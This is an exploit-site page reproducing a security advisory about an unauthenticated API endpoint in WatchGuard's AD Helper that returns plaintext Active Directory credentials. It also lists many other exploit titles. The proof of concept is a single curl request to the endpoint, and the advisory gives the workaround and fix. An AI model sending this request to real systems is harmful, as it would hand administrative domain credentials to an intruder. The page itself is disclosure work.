Menu

Search for hundreds of thousands of exploits

"WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure"

Author

Exploit author

"RedTeam Pentesting GmbH"

Platform

Exploit platform

java

Release date

Exploit published date

2020-03-12

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
# Exploit: WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure 
# Author: RedTeam Pentesting GmbH
# Date: 2020-03-11
# Vendor: https://www.watchguard.com
# Software link: https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html
# CVE: N/A

Advisory: Credential Disclosure in WatchGuard Fireware AD Helper Component

RedTeam Pentesting discovered a credential-disclosure vulnerability in
the AD Helper component of the WatchGuard Fireware Threat Detection and
Response (TDR) service, which allows unauthenticated attackers to gain
Active Directory credentials for a Windows domain in plaintext.


Details
=======

Product: WatchGuard Fireware AD Helper Component
Affected Versions: 5.8.5.10233, < 5.8.5.10317
Fixed Versions: 5.8.5.10317
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-001
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"Threat Detection and Response (TDR) is a cloud-based subscription
service that integrates with your Firebox to minimize the consequences
of data breaches and penetrations through early detection and automated
remediation of security threats."

"Threat Detection and Response includes the AD Helper component. If your
network has an Active Directory server, you can install AD Helper to
manage automated installation and updates of Host Sensors on your
network."

(from the vendor's homepage)


More Details
============

By accessing the AD Helper's web interface, it was discovered that a
call to an API endpoint is made, which responds with plaintext
credentials to all configured domain controllers. There is no
authentication needed to use the described interface and the
installation instructions at [1] contain no indication of any way to
configure access control.


Proof of Concept
================

An HTTP GET request to the path "/domains/list" of the AD Helper
API returns, among others, the plaintext credentials to
all configured Windows domain controllers:

------------------------------------------------------------------------
$ curl --silent "http://adhelper.example.com:8080/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc" | jq .

{
  "content": [
    {
      "id": 1,
      "fullyQualifiedName": "example.com",
      "logonDomain": "example.com",
      "domainControllers": "dc1.example.com",
      "username": "[DOMAIN_USER]",
      "password": "[DOMAIN_PASSWORD]",
      "uuid": "[...]",
      "servers": [
        {
          [...]
        }
      ]
    }
  ],
  "totalPages": 1,
  "totalElements": 1,
  "number": 0,
  "numberOfElements": 1
}
------------------------------------------------------------------------

The same request and its response can be observed when initially accessing
the web interface. The discovered version of AD Helper responds with
the following server banner:

------------------------------------------------------------------------
jetty(winstone-5.8.5.10233-9.4.12.v20180830)
------------------------------------------------------------------------

It is likely that other versions of the AD Helper Component are
vulnerable as well.


Workaround
==========

Ensure API of the AD Helper Component is not reachable over the network,
for example by putting it behind a Firewall.


Fix
===

Update to Version 5.8.5.10317 or later.


Security Risk
=============

No authentication is needed to access AD Helper's web interface and the
installation instructions at [1] describe that configured domain user
accounts must possess at least the following privileges:

 * Connect to the host
 * Mount the share ADMIN$
 * Create a file on the host
 * Execute commands on the host
 * Install software on the host

Access to the "ADMIN$" share implies a user with administrative
privileges. Therefore, this vulnerability poses a high risk.


Timeline
========

2020-02-12 Vulnerability identified
2020-02-19 Customer approved disclosure to vendor
2020-02-24 Tried to contact the German branch of WatchGuard
2020-02-27 Contacted the Dutch branch of WatchGuard
2020-02-28 Contact to ADHelper QA Team Lead established
2020-03-02 Advisory draft sent for verification
2020-03-10 Vendor released fixed version and blog post
2020-03-11 CVE ID requested
2020-03-11 Advisory released


References
==========

[1] https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Release DateTitleTypePlatformAuthor
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-24"UliCMS 2020.1 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-24"Wordpress Plugin WPForms 1.5.8.2 - Persistent Cross-Site Scripting"webappsphp"Jinson Varghese Behanan"
2020-03-24"Veyon 4.3.4 - 'VeyonService' Unquoted Service Path"localwindows"Víctor García"
2020-03-24"UCM6202 1.0.18.13 - Remote Command Injection"webappshardware"Jacob Baines"
2020-03-23"ProficySCADA for iOS 5.0.25920 - 'Password' Denial of Service (PoC)"dosios"Ivan Marmolejo"
2020-03-23"FIBARO System Home Center 5.021 - Remote File Include"webappsmultipleLiquidWorm
2020-03-23"Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection"webappsphpqw3rTyTy
2020-03-23"rConfig 3.9.4 - 'search.crud.php' Remote Command Injection"webappsphp"Matthew Aberegg"
2020-03-23"Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC)"doswindows"Cem Onat Karagun"
2020-03-23"CyberArk PSMP 10.9.1 - Policy Restriction Bypass"remotemultiple"LAHBAL Said"
2020-03-20"VMware Fusion 11.5.2 - Privilege Escalation"localmacos"Rich Mirch"
2020-03-20"Exagate Sysguard 6001 - Cross-Site Request Forgery (Add Admin)"webappsphp"Metin Yunus Kandemir"
Release DateTitleTypePlatformAuthor
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-12"WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure"webappsjava"RedTeam Pentesting GmbH"
2020-03-10"Sysaid 20.1.11 b26 - Remote Command Execution"webappsjava"Ahmed Sherif"
2020-02-24"ManageEngine EventLog Analyzer 10.0 - Information Disclosure"webappsjava"Scott Goodwin"
2020-02-17"LabVantage 8.3 - Information Disclosure"webappsjava"Joel Aviad Ossi"
2020-02-06"Cisco Data Center Network Manager 11.2 - Remote Code Execution"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection"webappsjavamr_me
2020-02-05"Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation"webappsjavanxkennedy
2020-02-03"Jira 8.3.4 - Information Disclosure (Username Enumeration)"webappsjava"Mufeed VH"
2020-01-29"Liferay CE Portal 6.0.2 - Remote Command Execution"webappsjava"Berk Dusunur"
2020-01-21"ManageEngine Network Configuration Manager 12.2 - 'apiKey' SQL Injection"webappsjava"Ertebat Gostar Co"
2020-01-16"Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting"webappsjava"Ai Ho"
2020-01-09"Oracle Weblogic 10.3.6.0.0 - Remote Command Execution"webappsjavajames
2020-01-08"JetBrains TeamCity 2018.2.4 - Remote Code Execution"remotejavahantwister
2020-01-08"Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape"webappsjavahantwister
2020-01-08"Cisco DCNM JBoss 10.4 - Credential Leakage"remotejavahantwister
2019-12-17"Zendesk App SweetHawk Survey 1.6 - Persistent Cross-Site Scripting"webappsjavaMTK
2019-12-11"Apache Olingo OData 4.0 - XML External Entity Injection"webappsjava"Compass Security"
2019-12-09"Oracle Siebel Sales 8.1 - Persistent Cross-Site Scripting"webappsjavaomurugur
2019-11-08"Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting"webappsjavavesche
2019-11-01"Apache Solr 8.2.0 - Remote Code Execution"webappsjava@l3x_wong
2019-10-07"IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload"webappsjava"Jakub Palaczynski"
2019-09-11"AVCON6 systems management platform - OGNL Remote Command Execution"webappsjava"Nassim Asrir"
2019-09-03"Cisco Data Center Network Manager - Unauthenticated Remote Code Execution (Metasploit)"remotejavaMetasploit
2019-07-12"Sahi Pro 8.0.0 - Remote Command Execution"webappsjavaAkkuS
2019-07-12"Jenkins Dependency Graph View Plugin 0.13 - Persistent Cross-Site Scripting"webappsjava"Ishaq Mohammed"
2019-06-17"Spring Security OAuth - Open Redirector"webappsjavaRiemann
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'SolutionSearch.do' Cross-Site Scripting"webappsjavaVingroup
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'SiteLookup.do' Cross-Site Scripting"webappsjavaVingroup
Release DateTitleTypePlatformAuthor
2020-03-12"WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure"webappsjava"RedTeam Pentesting GmbH"
2016-12-23"Apache mod_session_crypto - Padding Oracle"webappsmultiple"RedTeam Pentesting GmbH"
2016-06-02"Relay Ajax Directory Manager relayb01-071706/1.5.1/1.5.3 - Arbitrary File Upload"webappsphp"RedTeam Pentesting GmbH"
2016-06-02"Websockify (C Implementation) 0.8.0 - Buffer Overflow (PoC)"dosmultiple"RedTeam Pentesting GmbH"
2014-05-28"webEdition CMS - 'we_fs.php' SQL Injection"webappsphp"RedTeam Pentesting GmbH"
2013-05-07"Dovecot with Exim - 'sender_address' Remote Command Execution"remotelinux"RedTeam Pentesting GmbH"
2011-12-15"Owl Intranet Engine 1.00 - 'userid' Authentication Bypass"webappsphp"RedTeam Pentesting GmbH"
2011-03-15"SugarCRM 6.1.1 - Information Disclosure"webappsphp"RedTeam Pentesting GmbH"
2011-03-05"nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution"remotelinux"RedTeam Pentesting GmbH"
2010-01-27"Geo++ GNCASTER 1.4.0.7 - GET Denial of Service"doslinux"RedTeam Pentesting GmbH"
2010-01-27"Geo++ GNCASTER 1.4.0.7 NMEA-data - Denial of Service"doslinux"RedTeam Pentesting GmbH"
2009-08-10"Papoo 3.x - Upload Images Arbitrary File Upload"webappsphp"RedTeam Pentesting GmbH"
2009-05-05"IceWarp Merak Mail Server 9.4.1 - 'item.php' Cross-Site Scripting"webappsphp"RedTeam Pentesting GmbH"
2009-05-05"IceWarp Merak Mail Server 9.4.1 - 'cleanHTML()' Cross-Site Scripting"webappsphp"RedTeam Pentesting GmbH"
2009-05-05"IceWarp Merak Mail Server 9.4.1 - 'Forgot Password' Input Validation"webappsphp"RedTeam Pentesting GmbH"
2007-09-17"Alcatel-Lucent OmniPCX Enterprise 7.1 - Remote Command Execution"webappscgi"RedTeam Pentesting GmbH"
2007-07-03"Fujitsu ServerView 4.50.8 - DBASCIIAccess Remote Command Execution"remotemultiple"RedTeam Pentesting GmbH"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48203/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse